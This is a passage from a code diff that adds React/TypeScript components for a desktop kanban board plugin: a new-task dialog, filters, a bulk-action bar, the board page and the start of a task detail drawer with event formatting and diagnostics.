+        <div className="flex max-h-[min(72vh,44rem)] flex-col gap-3 overflow-y-auto pr-0.5">
+          <Input
+            autoFocus
+            onChange={event => setTitle(event.target.value)}
+            onKeyDown={event => {
+              if (event.key === 'Enter') {
+                event.preventDefault()
+                void submit()
+              }
+            }}
+            placeholder={isTriage ? k.titlePlaceholderTriage : k.titlePlaceholder}
+            value={title}
+          />
+          <Textarea
+            className="min-h-20"
+            onChange={event => setBodyText(event.target.value)}
+            placeholder={k.descPlaceholder}
+            value={bodyText}
+          />
+
+          <div className="grid grid-cols-2 gap-3">
+            <Field label={k.priority}>
+              <Input onChange={event => setPriority(event.target.value)} type="number" value={priority} />
+            </Field>
+            <Field label={k.workspace}>
+              <Select onValueChange={setWorkspaceKind} value={workspaceKind}>
+                <SelectTrigger>
+                  <SelectValue />
+                </SelectTrigger>
+                <SelectContent>
+                  {WORKSPACE_KINDS.map(kind => (
+                    <SelectItem key={kind} value={kind}>
+                      {kind}
+                      {kind === boardDefaultKind ? k.boardDefaultSuffix : ''}
+                    </SelectItem>
+                  ))}
+                </SelectContent>
+              </Select>
+            </Field>
+          </div>
+
+          {workspaceKind !== 'scratch' && (
+            <Field label={k.workspaceOverride}>
+              <Input
+                onChange={event => setWorkspacePath(event.target.value)}
+                placeholder={boardDefaultDir || k.workspaceInherit}
+                value={workspacePath}
+              />
+              <span className="text-[0.625rem] text-(--ui-text-quaternary)">
+                {boardDefaultDir ? k.workspaceInheritDir(boardDefaultDir) : k.workspaceInheritGeneric}
+              </span>
+            </Field>
+          )}
+
+          <Field label={k.assignee}>
+            <Select onValueChange={v => setAssignee(v === NO_PARENT ? '' : v)} value={assignee || NO_PARENT}>
+              <SelectTrigger>
+                <SelectValue />
+              </SelectTrigger>
+              <SelectContent>
+                <SelectItem value={NO_PARENT}>{k.defaultOption(resolvedDefault)}</SelectItem>
+                {(roster?.profiles ?? [])
+                  .filter(profile => profile.name !== resolvedDefault)
+                  .map(profile => (
+                    <SelectItem key={profile.name} value={profile.name}>
+                      {profile.name}
+                    </SelectItem>
+                  ))}
+                <SelectItem value={PARKED}>{k.parkedOption}</SelectItem>
+              </SelectContent>
+            </Select>
+          </Field>
+
+          <Field label={k.skills}>
+            <Input onChange={event => setSkills(event.target.value)} placeholder={k.skillsPlaceholder} value={skills} />
+          </Field>
+
+          <Field label={k.model}>
+            <ModelOverrideField onChange={setModelOverride} value={modelOverride} />
+            <span className="text-[0.625rem] text-(--ui-text-quaternary)">{k.modelHint}</span>
+          </Field>
+
+          {parents.length > 0 && (
+            <Field label={k.parent}>
+              <Select onValueChange={v => setParent(v === NO_PARENT ? '' : v)} value={parent || NO_PARENT}>
+                <SelectTrigger>
+                  <SelectValue />
+                </SelectTrigger>
+                <SelectContent>
+                  <SelectItem value={NO_PARENT}>{k.noParent}</SelectItem>
+                  {parents.map(option => (
+                    <SelectItem key={option.id} value={option.id}>
+                      {option.title || option.id}
+                    </SelectItem>
+                  ))}
+                </SelectContent>
+              </Select>
+            </Field>
+          )}
+
+          <label className="flex cursor-pointer items-center gap-2 text-[0.75rem] text-(--ui-text-secondary)">
+            <Switch aria-label={k.goalMode} checked={goalMode} onCheckedChange={setGoalMode} size="xs" />
+            {k.goalMode}
+          </label>
+
+          {error && <span className="text-[0.75rem] text-destructive">{error}</span>}
+        </div>
+        <DialogFooter>
+          <div className="mr-auto flex items-center gap-1 text-[0.75rem] text-(--ui-text-tertiary)">
+            {estimate?.ok ? (
+              <>
+                <Tip label={estimate.rationale || k.roughEstimate}>
+                  <span className="font-medium tabular-nums text-(--ui-text-secondary)">
+                    ~{compactNumber(estimate.est_tokens)} {k.tokUnit}
+                    {estimate.complexity ? ` · ${k.complexity[estimate.complexity] ?? estimate.complexity}` : ''}
+                  </span>
+                </Tip>
+                <Tip label={k.reEstimate}>
+                  <Button
+                    aria-label={k.reEstimate}
+                    disabled={!title.trim() || estMut.isPending}
+                    onClick={() => estMut.mutate()}
+                    size="icon-xs"
+                    variant="ghost"
+                  >
+                    <Codicon name="refresh" size="0.7rem" spinning={estMut.isPending} />
+                  </Button>
+                </Tip>
+              </>
+            ) : (
+              <Tip label={k.estimateTip}>
+                <Button
+                  disabled={!title.trim() || estMut.isPending}
+                  onClick={() => estMut.mutate()}
+                  size="xs"
+                  variant="ghost"
+                >
+                  <Codicon
+                    name={estMut.isPending ? 'loading' : 'dashboard'}
+                    size="0.75rem"
+                    spinning={estMut.isPending}
+                  />
+                  {estMut.isPending ? k.estimating : k.estimate}
+                </Button>
+              </Tip>
+            )}
+          </div>
+          <Button onClick={onClose} variant="text">
+            {k.cancel}
+          </Button>
+          <Button disabled={!title.trim() || busy} onClick={() => void submit()}>
+            {busy ? k.creating : k.createTask}
+          </Button>
+        </DialogFooter>
+      </DialogContent>
+    </Dialog>
+  )
+}
+
+// ── intro ────────────────────────────────────────────────────────────────────
+
+// One-time explainer for the board's core gotcha: this is a dispatcher queue,
+// not a todo list. Dismissal persists via plugin storage.
+function Intro() {
+  const k = useKanban()
+  const dismissed = useValue($introDismissed)
+
+  if (dismissed) {
+    return null
+  }
+
+  return (
+    <div
+      className="mx-4 mb-2 flex flex-col items-start gap-1.5 rounded-lg bg-(--ui-bg-quinary) px-3 py-2.5 text-[0.75rem] leading-relaxed text-(--ui-text-secondary)"
+      data-selectable-text="true"
+    >
+      <p className="min-w-0">{k.introBody}</p>
+      <Button onClick={() => $introDismissed.set(true)} size="inline" variant="textStrong">
+        {k.introGotIt}
+      </Button>
+    </div>
+  )
+}
+
+const UNASSIGNED_LANE = 'unassigned'
+
+// ── filter kebab ─────────────────────────────────────────────────────────────
+
+function FilterMenu({
+  archived,
+  assignee,
+  board,
+  onArchived,
+  onAssignee,
+  onTenant,
+  tenant
+}: {
+  archived: boolean
+  assignee: string
+  board: KanbanBoard
+  onArchived: (v: boolean) => void
+  onAssignee: (v: string) => void
+  onTenant: (v: string) => void
+  tenant: string
+}) {
+  const k = useKanban()
+  const active = Boolean(assignee || tenant || archived)
+  const lanesByProfile = useValue($lanesByProfile)
+
+  const check = (on: boolean) => (on ? <Codicon className="ml-auto" name="check" size="0.8rem" /> : null)
+
+  return (
+    <DropdownMenu>
+      <DropdownMenuTrigger asChild>
+        <Button
+          aria-label={k.filters}
+          className={cn(active && 'bg-(--ui-control-active-background) text-foreground')}
+          size="icon-xs"
+          variant="ghost"
+        >
+          <Codicon name="filter" size="0.85rem" />
+        </Button>
+      </DropdownMenuTrigger>
+      <DropdownMenuContent align="start">
+        <DropdownMenuItem onSelect={() => onAssignee('')}>
+          {k.allProfiles}
+          {check(!assignee)}
+        </DropdownMenuItem>
+        {board.assignees.map(name => (
+          <DropdownMenuItem key={name} onSelect={() => onAssignee(name)}>
+            <Avatar name={name} size="0.875rem" />
+            {name}
+            {check(assignee === name)}
+          </DropdownMenuItem>
+        ))}
+        {board.tenants.length > 0 && (
+          <>
+            <DropdownMenuSeparator />
+            <DropdownMenuItem onSelect={() => onTenant('')}>
+              {k.allTenants}
+              {check(!tenant)}
+            </DropdownMenuItem>
+            {board.tenants.map(name => (
+              <DropdownMenuItem key={name} onSelect={() => onTenant(name)}>
+                {name}
+                {check(tenant === name)}
+              </DropdownMenuItem>
+            ))}
+          </>
+        )}
+        <DropdownMenuSeparator />
+        <DropdownMenuItem onSelect={() => onArchived(!archived)}>
+          {k.showArchived}
+          {check(archived)}
+        </DropdownMenuItem>
+        <DropdownMenuItem onSelect={() => $lanesByProfile.set(!lanesByProfile)}>
+          {k.groupRunning}
+          {check(lanesByProfile)}
+        </DropdownMenuItem>
+      </DropdownMenuContent>
+    </DropdownMenu>
+  )
+}
+
+// ── selection bar ────────────────────────────────────────────────────────────
+
+/**
+ * Floating bulk-actions bar, shown while cards are ⌘-selected. Deliberately
+ * leaner than the dashboard's always-on toolbar: move / assign / archive /
+ * delete cover the real fleet chores (requeue a batch, archive a sweep of
+ * done, reassign after a profile change) via POST /tasks/bulk, which applies
+ * per-id and reports partial failures — failed cards stay selected.
+ */
+function SelectionBar({
+  columns,
+  onClear,
+  onDone,
+  selected
+}: {
+  columns: string[]
+  onClear: () => void
+  onDone: (failed: string[]) => void
+  selected: ReadonlySet<string>
+}) {
+  const k = useKanban()
+  const qc = useQueryClient()
+  const { data: roster } = useQuery({ queryKey: PROFILES_KEY, queryFn: fetchProfiles, staleTime: 60_000 })
+
+  const finish = (failed: Array<{ error?: string; id: string }>) => {
+    void qc.invalidateQueries({ queryKey: ['kanban', 'board'] })
+
+    if (failed.length > 0) {
+      host.notify({
+        kind: 'warning',
+        message: k.bulkFailed(failed.length, selected.size, failed[0].error ?? k.refused)
+      })
+    }
+
+    onDone(failed.map(f => f.id))
+  }
+
+  const bulk = useMutation({
+    mutationFn: (patch: Record<string, unknown>) => bulkTasks([...selected], patch),
+    onError: err => host.notify({ kind: 'error', message: errText(err) }),
+    onSuccess: data => finish(data.results.filter(r => !r.ok))
+  })
+
+  // No bulk-delete on the backend — fan out per id, same partial-failure story.
+  const bulkDelete = useMutation({
+    mutationFn: async () => {
+      const ids = [...selected]
+      const settled = await Promise.allSettled(ids.map(id => deleteTask(id)))
+
+      return ids.flatMap((id, i) => {
+        const result = settled[i]
+
+        return result.status === 'rejected' ? [{ error: errText(result.reason), id }] : []
+      })
+    },
+    onSuccess: finish
+  })
+
+  const busy = bulk.isPending || bulkDelete.isPending
+  // One menu at a time — controlled, so a click on the second trigger can
+  // never race Radix's dismiss layer into two open menus.
+  const [menu, setMenu] = useState<'assign' | 'move' | null>(null)
+
+  return (
+    <div className="pointer-events-none absolute inset-x-0 bottom-4 z-10 flex justify-center px-4">
+      {/* Flat overlay: stroke + elevated surface do the separating, no shadow. */}
+      <div className="pointer-events-auto flex items-center gap-1 rounded-lg border border-(--ui-stroke-secondary) bg-(--ui-bg-elevated) py-1 pr-1 pl-3">
+        <span className="mr-1 text-xs tabular-nums text-(--ui-text-secondary)">{k.nSelected(selected.size)}</span>
+
+        <DropdownMenu onOpenChange={open => setMenu(open ? 'move' : null)} open={menu === 'move'}>
+          <DropdownMenuTrigger asChild>
+            <Button disabled={busy} size="xs" variant="ghost">
+              {k.moveToShort}
+              <Codicon name="chevron-down" size="0.7rem" />
+            </Button>
+          </DropdownMenuTrigger>
+          <DropdownMenuContent align="center">
+            {columns
+              .filter(name => !isLockedTarget(name))
+              .map(name => (
+                <DropdownMenuItem key={name} onSelect={() => bulk.mutate({ status: name })}>
+                  <span className="size-2 rounded-full" style={{ backgroundColor: columnMeta(name).tone }} />
+                  {columnLabel(k, name)}
+                </DropdownMenuItem>
+              ))}
+          </DropdownMenuContent>
+        </DropdownMenu>
+
+        <DropdownMenu onOpenChange={open => setMenu(open ? 'assign' : null)} open={menu === 'assign'}>
+          <DropdownMenuTrigger asChild>
+            <Button disabled={busy} size="xs" variant="ghost">
+              {k.assign}
+              <Codicon name="chevron-down" size="0.7rem" />
+            </Button>
+          </DropdownMenuTrigger>
+          <DropdownMenuContent align="center">
+            {(roster?.profiles ?? []).map(profile => (
+              <DropdownMenuItem
+                key={profile.name}
+                onSelect={() => bulk.mutate({ assignee: profile.name, reclaim_first: true })}
+              >
+                <Avatar name={profile.name} size="0.875rem" />
+                {profile.name}
+              </DropdownMenuItem>
+            ))}
+            <DropdownMenuSeparator />
+            <DropdownMenuItem onSelect={() => bulk.mutate({ assignee: '', reclaim_first: true })}>
+              {k.unassignAction}
+            </DropdownMenuItem>
+          </DropdownMenuContent>
+        </DropdownMenu>
+
+        <Button disabled={busy} onClick={() => bulk.mutate({ archive: true })} size="xs" variant="ghost">
+          {k.archive}
+        </Button>
+        <Button
+          className="text-destructive"
+          disabled={busy}
+          onClick={() => bulkDelete.mutate()}
+          size="xs"
+          variant="ghost"
+        >
+          {k.delete}
+        </Button>
+
+        <Tip label={k.clearSelection}>
+          <Button aria-label={k.clearSelection} onClick={onClear} size="icon-xs" variant="ghost">
+            <Codicon name="close" size="0.8rem" />
+          </Button>
+        </Tip>
+      </div>
+    </div>
+  )
+}
+
+// ── page ─────────────────────────────────────────────────────────────────────
+
+export function KanbanBoardPage() {
+  const k = useKanban()
+  const qc = useQueryClient()
+  const slug = useValue($boardSlug)
+  const [archived, setArchived] = useState(false)
+
+  // Live updates ride the events socket (bindApi); this interval is only the
+  // slow heartbeat for socketless paths (OAuth remotes, dropped connections).
+  const { data: board, error } = useQuery({
+    queryFn: () => fetchBoard(archived),
+    queryKey: boardKey(slug, archived),
+    refetchInterval: 60_000
+  })
+
+  const [openId, setOpenId] = useState<null | string>(null)
+  const [addStatus, setAddStatus] = useState<null | string>(null)
+  const [settingsOpen, setSettingsOpen] = useState(false)
+  const [search, setSearch] = useState('')
+  const [tenant, setTenant] = useState('')
+  const [assignee, setAssignee] = useState('')
+  const [selected, setSelected] = useState<ReadonlySet<string>>(new Set())
+
+  // A new-task request raised from outside the page (⌘⌥N, the palette row).
+  // The command navigates here and parks the lane; the page picks it up on
+  // arrival — whether it was already mounted or is mounting for the first
+  // time — then clears it so a later remount can't reopen the dialog.
+  const requestedLane = useValue($newTaskLane)
+
+  useEffect(() => {
+    if (requestedLane === null) {
+      return
+    }
+
+    setAddStatus(requestedLane)
+    $newTaskLane.set(null)
+  }, [requestedLane])
+
+  const toggleSelect = (id: string) => {
+    setSelected(prev => {
+      const next = new Set(prev)
+
+      if (!next.delete(id)) {
+        next.add(id)
+      }
+
+      return next
+    })
+  }
+
+  // Prune ids that left the board (completed elsewhere, deleted, filtered by
+  // a board switch) so the bar's count never lies about what a bulk op hits.
+  useEffect(() => {
+    if (!board) {
+      return
+    }
+
+    const alive = new Set(board.columns.flatMap(col => col.tasks.map(task => task.id)))
+
+    setSelected(prev => {
+      const kept = [...prev].filter(id => alive.has(id))
+
+      return kept.length === prev.size ? prev : new Set(kept)
+    })
+  }, [board])
+
+  useEffect(() => {
+    if (selected.size === 0) {
+      return
+    }
+
+    const onKey = (event: KeyboardEvent) => {
+      if (event.key === 'Escape') {
+        setSelected(new Set())
+      }
+    }
+
+    window.addEventListener('keydown', onKey)
+
+    return () => window.removeEventListener('keydown', onKey)
+  }, [selected.size])
+
+  const columnNames = board?.columns.map(col => col.name) ?? []
+
+  const parentOptions = useMemo(
+    () => board?.columns.flatMap(col => col.tasks).map(task => ({ id: task.id, title: task.title })) ?? [],
+    [board]
+  )
+
+  // Client-side filters, mirroring the dashboard (search over title/body/id).
+  const filtered = useMemo(() => {
+    if (!board) {
+      return null
+    }
+
+    const q = search.trim().toLowerCase()
+
+    const keep = (task: KanbanTask) =>
+      (!q || `${task.title} ${task.body ?? ''} ${task.id}`.toLowerCase().includes(q)) &&
+      (!tenant || task.tenant === tenant) &&
+      (!assignee || task.assignee === assignee)
+
+    return { ...board, columns: board.columns.map(col => ({ ...col, tasks: col.tasks.filter(keep) })) }
+  }, [board, search, tenant, assignee])
+
+  const total = filtered?.columns.reduce((sum, col) => sum + col.tasks.length, 0) ?? 0
+
+  const moveMut = useMutation({
+    mutationFn: ({ id, status }: { id: string; status: string }) => patchTask(id, { status }),
+    onMutate: async ({ id, status }) => {
+      await qc.cancelQueries({ queryKey: boardKey(slug, archived) })
+      const previous = qc.getQueryData<KanbanBoard>(boardKey(slug, archived))
+
+      if (previous) {
+        qc.setQueryData(boardKey(slug, archived), moveCard(previous, id, status))
+      }
+
+      return { previous }
+    },
+    onError: (err, _vars, context) => {
+      if (context?.previous) {
+        qc.setQueryData(boardKey(slug, archived), context.previous)
+      }
+
+      host.notify({ kind: 'error', message: errText(err) })
+    },
+    onSettled: (_data, _err, vars) => {
+      void qc.invalidateQueries({ queryKey: ['kanban', 'board'] })
+      void qc.invalidateQueries({ queryKey: ['kanban', 'task', slug, vars.id] })
+    }
+  })
+
+  const deleteMut = useMutation({
+    mutationFn: (id: string) => deleteTask(id),
+    onMutate: async id => {
+      await qc.cancelQueries({ queryKey: boardKey(slug, archived) })
+      const previous = qc.getQueryData<KanbanBoard>(boardKey(slug, archived))
+
+      if (previous) {
+        qc.setQueryData(boardKey(slug, archived), removeCard(previous, id))
+      }
+
+      return { previous }
+    },
+    onError: (err, _id, context) => {
+      if (context?.previous) {
+        qc.setQueryData(boardKey(slug, archived), context.previous)
+      }
+
+      host.notify({ kind: 'error', message: errText(err) })
+    },
+    onSettled: () => void qc.invalidateQueries({ queryKey: ['kanban', 'board'] })
+  })
+
+  const onMove = (id: string, status: string) => {
+    const task = board?.columns.flatMap(col => col.tasks).find(candidate => candidate.id === id)
+
+    if (!task || task.status === status) {
+      return
+    }
+
+    if (isLockedTarget(status)) {
+      host.notify({ kind: 'info', message: lockedReason(k, status) })
+
+      return
+    }
+
+    moveMut.mutate({ id, status })
+  }
+
+  const errorMessage = error ? errText(error) : null
+
+  // Grab-to-scrub the lane strip (shared primitive, same as the dashboard's pan).
+  const lanesRef = useRef<HTMLDivElement>(null)
+  const { grabbing, onMouseDown } = useGrabScroll(lanesRef)
+
+  // Lane collapse: auto (empty → rail) unless the user overrode it. The map
+  // stores only deviations from auto, so it stays tiny and self-heals. On a
+  // board with no work at all, auto is disabled — a wall of rails teaches
+  // nothing, so a fresh board shows its full structure instead.
+  const laneOverrides = useValue($collapsedLanes)
+  const boardHasWork = (board?.columns.reduce((sum, col) => sum + col.tasks.length, 0) ?? 0) > 0
+
+  // An override only lives for the lane's current empty/non-empty phase: when
+  // emptiness flips (last card dragged out, first card dropped in) the stale
+  // override is dropped and auto takes over — so a drained lane collapses even
+  // if it was manually expanded ages ago, while expanding an empty lane still
+  // sticks for as long as it stays empty.
+  //
+  // The phase is a string signature held in state, not a ref: React bails out
+  // when it's unchanged, so the common case (a poll where no lane's emptiness
+  // moved) costs no extra render, and nothing lags a render behind the value
+  // it mirrors.
+  const lanePhase = filtered
+    ? filtered.columns.map(col => `${col.name}:${col.tasks.length === 0 ? 'empty' : 'full'}`).join('|')
+    : null
+
+  const [prevLanePhase, setPrevLanePhase] = useState<null | string>(null)
+
+  useEffect(() => {
+    if (lanePhase === null || lanePhase === prevLanePhase) {
+      return
+    }
+
+    setPrevLanePhase(lanePhase)
+
+    if (prevLanePhase === null) {
+      return
+    }
+
+    const before = new Map(prevLanePhase.split('|').map(entry => entry.split(':') as [string, string]))
+    const overrides = { ...$collapsedLanes.get() }
+    let changed = false
+
+    for (const entry of lanePhase.split('|')) {
+      const [name, phase] = entry.split(':')
+      const was = before.get(name)
+
+      if (was !== undefined && was !== phase && name in overrides) {
+        delete overrides[name]
+        changed = true
+      }
+    }
+
+    if (changed) {
+      $collapsedLanes.set(overrides)
+    }
+  }, [lanePhase, prevLanePhase])
+
+  const toggleLane = (name: string, auto: boolean) => {
+    const overrides = { ...laneOverrides }
+    const next = !(overrides[name] ?? auto)
+
+    if (next === auto) {
+      delete overrides[name]
+    } else {
+      overrides[name] = next
+    }
+
+    $collapsedLanes.set(overrides)
+  }
+
+  return (
+    <div className="relative flex h-full flex-col overflow-hidden bg-(--ui-surface-background)">
+      {/* Page-owned titlebar chrome: exists exactly while this page is mounted. */}
+      <Contribute area={TITLEBAR_AREAS.center} id="kanban:board-switcher">
+        <BoardSwitcher />
+      </Contribute>
+
+      <header className="flex shrink-0 flex-wrap items-center gap-2 px-4 py-2">
+        <h1 className="text-sm font-semibold text-foreground">{k.title}</h1>
+        <span className="rounded-full bg-(--ui-bg-quaternary) px-1.5 py-px text-[0.625rem] tabular-nums text-(--ui-text-tertiary)">
+          {total}
+        </span>
+        {board && (
+          <FilterMenu
+            archived={archived}
+            assignee={assignee}
+            board={board}
+            onArchived={setArchived}
+            onAssignee={setAssignee}
+            onTenant={setTenant}
+            tenant={tenant}
+          />
+        )}
+        <SearchField aria-label={k.filterCards} onChange={setSearch} placeholder={k.filterCards} value={search} />
+        <div className="ml-auto flex items-center gap-1">
+          <Tip label={k.orchestrationSettings}>
+            <Button
+              aria-label={k.orchestrationSettings}
+              className={cn(settingsOpen && 'bg-(--ui-control-active-background) text-foreground')}
+              onClick={() => setSettingsOpen(!settingsOpen)}
+              size="icon-xs"
+              variant="ghost"
+            >
+              <Codicon name="organization" size="0.85rem" />
+            </Button>
+          </Tip>
+          <Button onClick={() => setAddStatus('triage')} size="sm">
+            <Codicon name="add" size="0.8rem" />
+            {k.newTask}
+          </Button>
+        </div>
+      </header>
+
+      {settingsOpen && <OrchestrationPanel />}
+
+      {board && <Intro />}
+
+      {errorMessage && !board ? (
+        <div className="grid flex-1 place-items-center">
+          <ErrorState title={errorMessage} />
+        </div>
+      ) : !filtered ? (
+        <div className="grid flex-1 place-items-center">
+          <Loader type="lemniscate-bloom" />
+        </div>
+      ) : total === 0 ? (
+        <div className="grid flex-1 place-items-center px-4 text-center">
+          <div className="flex flex-col items-center gap-2">
+            <Codicon className="text-(--ui-text-quaternary)" name="project" size="1.25rem" />
+            <p className="text-xs text-(--ui-text-tertiary)">{search || tenant || assignee ? k.noMatch : k.noTasks}</p>
+            <Button className="mt-0.5" onClick={() => setAddStatus('triage')} size="sm" variant="outline">
+              <Codicon name="add" size="0.75rem" />
+              {k.newTask}
+            </Button>
+          </div>
+        </div>
+      ) : (
+        <div
+          className={cn('flex flex-1 gap-2 overflow-x-auto px-4 pt-1 pb-3', grabbing && 'cursor-grabbing')}
+          onMouseDown={onMouseDown}
+          ref={lanesRef}
+        >
+          {filtered.columns.map(col => {
+            const auto = boardHasWork && col.tasks.length === 0
+
+            return (
+              <Column
+                collapsed={laneOverrides[col.name] ?? auto}
+                column={col}
+                columns={columnNames}
+                key={col.name}
+                onAdd={setAddStatus}
+                onDelete={id => deleteMut.mutate(id)}
+                onDropTask={onMove}
+                onMove={onMove}
+                onOpen={setOpenId}
+                onToggle={() => toggleLane(col.name, auto)}
+                onToggleSelect={toggleSelect}
+                selected={selected}
+              />
+            )
+          })}
+        </div>
+      )}
+
+      {selected.size > 0 && (
+        <SelectionBar
+          columns={columnNames}
+          onClear={() => setSelected(new Set())}
+          onDone={failed => setSelected(new Set(failed))}
+          selected={selected}
+        />
+      )}
+
+      <NewTaskDialog onClose={() => setAddStatus(null)} parents={parentOptions} target={addStatus} />
+      <TaskDrawer columns={columnNames} id={openId} onClose={() => setOpenId(null)} onOpen={setOpenId} />
+    </div>
+  )
+}
diff --git a/ui-desktop/src/plugins/kanban/drawer.tsx b/ui-desktop/src/plugins/kanban/drawer.tsx
new file mode 100644
index 000000000..e38f49d83
--- /dev/null
+++ b/ui-desktop/src/plugins/kanban/drawer.tsx
@@ -0,0 +1,958 @@
+/**
+ * Task drawer — the desktop port of the dashboard's task detail, flat-styled:
+ * status menu + meta table, DIAGNOSTICS (the "why is this stuck" panel, with
+ * reassign recovery), description (editable), result/summary, dependencies,
+ * comments (+composer), activity, run history, and the worker log tail.
+ */
+
+import {
+  Badge,
+  Button,
+  cn,
+  Codicon,
+  compactNumber,
+  DropdownMenu,
+  DropdownMenuContent,
+  DropdownMenuItem,
+  DropdownMenuSeparator,
+  DropdownMenuTrigger,
+  ErrorState,
+  host,
+  Loader,
+  LogView,
+  Textarea,
+  Tip,
+  useMutation,
+  useQuery,
+  useQueryClient,
+  useValue
+} from '@clawcodex/plugin-sdk'
+import { type ReactNode, useEffect, useRef, useState } from 'react'
+
+import {
+  $boardSlug,
+  addComment,
+  deleteTask,
+  estimateTask,
+  fetchLog,
+  fetchProfiles,
+  fetchTask,
+  logKey,
+  patchTask,
+  PROFILES_KEY,
+  reassignTask,
+  reclaimTask,
+  taskKey,
+  uploadAttachment
+} from './api'
+import { ModelOverrideField, overridePatch } from './model-override'
+import {
+  type Diagnostic,
+  type DiagnosticAction,
+  type KanbanAttachment,
+  type KanbanEvent,
+  type KanbanTaskDetail,
+  SEVERITY_TONE,
+  type TaskEstimate
+} from './types'
+import {
+  ago,
+  Avatar,
+  Callout,
+  columnLabel,
+  duration,
+  errText,
+  isLockedTarget,
+  type KanbanText,
+  lockedReason,
+  ScrollFade,
+  Section,
+  shortId,
+  StatusMenu,
+  useDefaultAssignee,
+  useKanban
+} from './ui'
+
+/**
+ * Turn a task_events row into an operator-readable line. The backend logs
+ * machine payloads ("status" + {"status":"ready"}); rendering the raw kind
+ * made the feed useless ("status · 2 sec. ago" after a drag). Known kinds get
+ * prose with the payload folded in; unknown kinds fall back to kind + compact
+ * key=value detail so new backend events still say something.
+ */
+function eventText(event: KanbanEvent, k: KanbanText): { detail?: string; label: string } {
+  let p: Record<string, unknown> = {}
+
+  if (typeof event.payload === 'string' && event.payload) {
+    try {
+      p = JSON.parse(event.payload) as Record<string, unknown>
+    } catch {
+      return { label: event.kind.replace(/_/g, ' '), detail: event.payload }
+    }
+  } else if (event.payload && typeof event.payload === 'object') {
+    p = event.payload as Record<string, unknown>
+  }
+
+  const str = (key: string): null | string => {
+    const value = p[key]
+
+    return typeof value === 'string' && value ? value : null
+  }
+
+  const col = (key: string) => {
+    const value = str(key)
+
+    return value ? columnLabel(k, value) : null
+  }
+
+  switch (event.kind) {
+    case 'created':
+      return { label: k.evtCreated(col('status') ?? '', str('assignee') ?? '') }
+    case 'status': {
+      const reason = str('reason')
+
+      return {
+        label: k.evtMovedTo(col('status') ?? '?'),
+        detail: reason === 'parent_reopened' ? k.evtParentReopened(str('parent') ?? '') : (reason ?? undefined)
+      }
+    }
+
+    case 'assigned': {
+      const assignee = str('assignee')
+
+      return { label: assignee ? k.evtAssignedTo(assignee) : k.evtUnassigned }
+    }
+
+    case 'commented':
+      return { label: k.evtCommentBy(str('author') ?? k.someone) }
+
+    case 'claimed':
+      return { label: str('source_status') === 'review' ? k.evtClaimedReview : k.evtClaimedWorker }
+
+    case 'spawned':
+      return { label: k.evtWorkerStarted, detail: p.pid != null ? `pid ${p.pid}` : undefined }
+
+    case 'completed':
+      return { label: k.evtCompleted }
+
+    case 'blocked':
+      return { label: k.evtBlocked, detail: str('reason') ?? undefined }
+
+    case 'unblocked':
+      return { label: k.evtUnblocked(col('status') ?? '') }
+
+    case 'reclaimed':
+      return { label: k.evtReclaimed, detail: str('reason') ?? undefined }
+
+    case 'specified':
+      return { label: k.evtSpecified }
+
+    case 'promoted':
+      return { label: k.evtPromoted }
+
+    case 'scheduled':
+      return { label: k.evtScheduled, detail: str('reason') ?? undefined }
+
+    case 'archived':
+      return { label: k.evtArchived }
+
+    case 'reprioritized':
+      return { label: k.evtReprioritized(String(p.priority ?? '?')) }
+    default: {
+      const detail = Object.entries(p)
+        .filter(([, value]) => value != null && typeof value !== 'object')
+        .map(([key, value]) => `${key}=${String(value)}`)
+        .join(' ')
+
+      return { label: event.kind.replace(/_/g, ' '), detail: detail || undefined }
+    }
+  }
+}
+
+function MetaRow({ children, label }: { children: ReactNode; label: string }) {
+  return (
+    <>
+      <span className="text-(--ui-text-quaternary)">{label}</span>
+      <span className="min-w-0 truncate text-(--ui-text-secondary)">{children}</span>
+    </>
+  )
+}
+
+/** The dashboard's diagnostics panel: severity-toned, plain-English, with the
+ *  backend's structured recovery actions as buttons. `reassign` is skipped —
+ *  the Assignee control in the meta table IS that action, inline. */
+function Diagnostics({ items, onReclaim }: { items: Diagnostic[]; onReclaim: () => void }) {
+  const k = useKanban()
+
+  const act = (action: DiagnosticAction) => {
+    if (action.kind === 'reclaim') {
+      onReclaim()
+    } else if (action.kind === 'cli_hint') {
+      void navigator.clipboard.writeText(String(action.payload?.command ?? action.label))
+      host.notify({ kind: 'info', message: k.commandCopied })
+    }
+  }
+
+  return (
+    <div className="flex flex-col gap-2">
+      {items.map(diag => {
+        const tone = SEVERITY_TONE[diag.severity]
+        const actions = diag.actions.filter(action => action.kind === 'reclaim' || action.kind === 'cli_hint')
+
+        return (
+          <Callout
+            key={`${diag.kind}-${diag.last_seen_at}`}
+            title={`${diag.title}${diag.count > 1 ? ` ×${diag.count}` : ''}`}
+            tone={tone}
+          >
+            <p className="whitespace-pre-wrap text-[0.71rem] leading-relaxed text-(--ui-text-secondary)">
+              {diag.detail}
+            </p>
+            {actions.length > 0 && (
+              <div className="flex flex-wrap gap-1.5">
+                {actions.map(action => (
+                  <Button
+                    key={`${action.kind}-${action.label}`}
+                    onClick={() => act(action)}
+                    size="xs"
+                    variant={action.suggested ? 'secondary' : 'outline'}
+                  >
+                    {action.kind === 'cli_hint' && <Codicon name="copy" size="0.7rem" />}
+                    {action.label}
+                  </Button>
+                ))}
+              </div>
+            )}
+          </Callout>
+        )
+      })}
+    </div>
+  )
+}
+
+/** Jira-style inline assignee editor: the meta row IS the control — click the
+ *  assignee to reassign (reclaims a running worker first, resets the failure
+ *  streak — the explicit human recovery action). */
+function AssigneeMenu({
+  current,
+  onReassign
+}: {
+  current: null | string | undefined
+  onReassign: (p: string) => void
+}) {
+  const k = useKanban()
+  const { data: roster } = useQuery({ queryKey: PROFILES_KEY, queryFn: fetchProfiles, staleTime: 60_000 })
+
+  return (
+    <DropdownMenu>
+      <DropdownMenuTrigger asChild>
+        <button
+          className="-mx-1 inline-flex max-w-full items-center gap-1.5 rounded px-1 py-0.5 text-left transition-colors hover:bg-(--chrome-action-hover)"
+          type="button"
+        >
+          {current ? (
+            <>
+              <Avatar name={current} size="0.875rem" />
+              <span className="truncate">{current}</span>
+            </>
+          ) : (
+            <span className="text-(--ui-text-quaternary)">{k.unassigned}</span>
+          )}
+          <Codicon className="shrink-0 text-(--ui-text-quaternary)" name="chevron-down" size="0.65rem" />
+        </button>
+      </DropdownMenuTrigger>
+      <DropdownMenuContent align="start">
+        {(roster?.profiles ?? []).map(profile => (
+          <DropdownMenuItem key={profile.name} onSelect={() => onReassign(profile.name)}>
+            <Avatar name={profile.name} size="0.875rem" />
+            {profile.name}
+            {profile.name === current && <Codicon className="ml-auto" name="check" size="0.8rem" />}
+          </DropdownMenuItem>
+        ))}
+      </DropdownMenuContent>
+    </DropdownMenu>
+  )
+}
+
